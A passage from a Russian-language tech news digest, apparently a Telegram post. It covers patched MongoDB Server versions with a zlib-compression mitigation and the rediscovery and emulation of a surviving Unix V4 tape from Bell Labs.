Патчи уже вышли, и разработчики настоятельно рекомендуют как можно скорее обновиться до версий 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32 или 4.4.30. Если не получается обновить, то следует отключить сжатие zlib в MongoDB Server, запустив mongod или mongos с параметром networkMessageCompressors или net.compression.compressors.
Источник

👨‍🦳Unix V4: привет из 1973-го
И напоследок — новость для тех, кто любит археологию. Обнаружена единственная уцелевшая копия Unix V4, про которую просто забыли на 52 года. Система была написана в Bell Labs в начале 70-х и долгое время считалась утраченной. Интересно и то, как система вообще уцелела. Архив просто пролежал забытым десятки лет, пока не оказался в руках энтузиастов, которые поняли, что перед ними — не просто старый код, а редкий исторический артефакт.

Лента с Unix v4 попала к Мартину Ньюэллу — он разработал оригинальную версию знаменитого чайника, ставшего неотъемлемой частью 3D-программ по всему миру. А ещё в коде встречается столь же знаменитый комментарий «никто не ждёт, что вы это поймёте» (you are not expected to understand this).

Теперь её удалось восстановить, изучить и даже запустить в эмуляторе. Именно в таких версиях формировались идеи, которые до сих пор живут в Linux, BSD и macOS. Можно даже пощупать ее самому, если кому интересно, но необходимо создать загрузочную среду и скомпилировать систему для неё.
Источник

Вот и всё, новости подошли к концу. Встретимся уже с вами в новом году! Пока!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи